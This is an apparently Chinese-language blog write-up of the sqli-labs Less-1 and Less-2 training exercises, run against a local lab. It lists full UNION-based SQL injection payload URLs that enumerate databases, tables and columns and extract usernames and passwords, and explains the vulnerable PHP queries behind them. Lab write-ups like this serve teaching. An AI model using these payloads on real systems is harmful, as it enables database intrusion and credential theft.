sqli-labs(1)-Less-1&2

爲什麼要把這個兩個放一起寫在博客裏呢,因爲這兩個非常像
當然也有人和我一樣不懂爲啥他們有的帶’,有的又不帶,還有帶括號的,很多,其實我覺得都是經驗之談

推薦一個i春秋上的帖子,掛上鏈接,可以看一下,寫的挺好的
深入淺出玩轉SQL注入(含過狗)

開始我們的題目,sql注入在有的教程裏分什麼字符型,數字型,其實都是一樣的,都是在滿足sql查詢的條件,同時爲什麼這麼構造,我們也在最後再說

Sql注入基本方法

  1. 判斷Sql注入,在最後加上’ ,如果出錯,可以判斷存在sql注入
  2. 爆數據庫
  3. 爆表名
  4. 爆字段名
  5. 查詢

第一題

  1. 判斷 + ’
    http://127.0.0.1/sqli-labs-kali2/Less-1/?id=1%27

在這裏插入圖片描述
頁面報錯,存在sql注入

  1. 爆數據庫
    查看回顯的字段數

    網址 頁面提示 是否正常
    http://127.0.0.1/sqli-labs-kali2/Less-1/?id=1’ order by 5 --+ Unknown column ‘5’ in ‘order clause’
    http://127.0.0.1/sqli-labs-kali2/Less-1/?id=1’ order by 3 --+ -
    http://127.0.0.1/sqli-labs-kali2/Less-1/?id=1’ order by 4 --+ Unknown column ‘4’ in ‘order clause’

    說明字段數是3

    查看回顯字段
    http://127.0.0.1/sqli-labs-kali2/Less-1/?id=-1’ union select 1,2,3–+

    說明回顯字段是2,3
    在這裏插入圖片描述
    查看數據庫名和數據庫版本
    http://127.0.0.1/sqli-labs-kali2/Less-1/?id=-1’ union select 1,version(),database() --+
    在這裏插入圖片描述
    數據庫名是security,版本是10.3.15-MariaDB-1

  2. 爆表名
    http://127.0.0.1/sqli-labs-kali2/Less-1/?id=-1’ union select 1,group_concat(table_name),database() from information_schema.tables where table_schema=0x7365637572697479–+

在這裏插入圖片描述
這個0x7365637572697479是security的16進制形式,寫成16進制的形式是不用加引號的,可以看到有email,referers,uagents,users,表

  1. 爆字段名

http://127.0.0.1/sqli-labs-kali2/Less-1/?id=-1‘ union select 1,group_concat(column_name),database() from information_schema.columns where table_schema=0x7365637572697479–+
在這裏插入圖片描述

  1. 查看數據

http://127.0.0.1/sqli-labs-kali2/Less-1/?id=-1’ union select 1,username,password from users where id=1 --+

第二題

第二題和第一題不一樣的是在id=1之後的引號以及最後的–+上
我們直接貼上結果

  1. http://127.0.0.1/sqli-labs-kali2/Less-1/?id=1 order by 3
  2. http://127.0.0.1/sqli-labs-kali2/Less-1/?id=-1 union select 1,version(),database()
  3. http://127.0.0.1/sqli-labs-kali2/Less-1/?id=-1 union select 1,group_concat(table_name),database() from information_schema.tables where table_schema=0x7365637572697479
  4. http://127.0.0.1/sqli-labs-kali2/Less-1/?id=-1 union select 1,group_concat(column_name),database() from information_schema.columns where table_schema=0x7365637572697479
  5. http://127.0.0.1/sqli-labs-kali2/Less-1/?id=-1 union select 1,username,password from users where id=1

比較

第一題在查看sql查詢的源碼的時候,php的語句是這麼寫的

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

所以我們在構造語句的時候都是在滿足查詢條件的語句
比如爆數據庫,
http://127.0.0.1/sqli-labs-kali2/Less-1/?id=1’ order by 3 --+
這個時候,sql語句是什麼

$sql="SELECT * FROM users WHERE id='1' order by 3 --+ LIMIT 0,1";

現在知道爲啥要構造’了吧,爲了滿足查詢語句的語法要求,而–+之後的會被sql語句忽略

在看看第二題,php的語句是這麼寫的

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

如果還是按照第一題一樣的就是

$sql="SELECT * FROM users WHERE id=1' order by 3 --+ LIMIT 0,1";

這樣語法就錯誤了,必須去掉引號

$sql="SELECT * FROM users WHERE id=1 order by 3 LIMIT 0,1";

這樣就滿足查詢條件,成功查詢
但是在實際的操作中,應該就是試

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章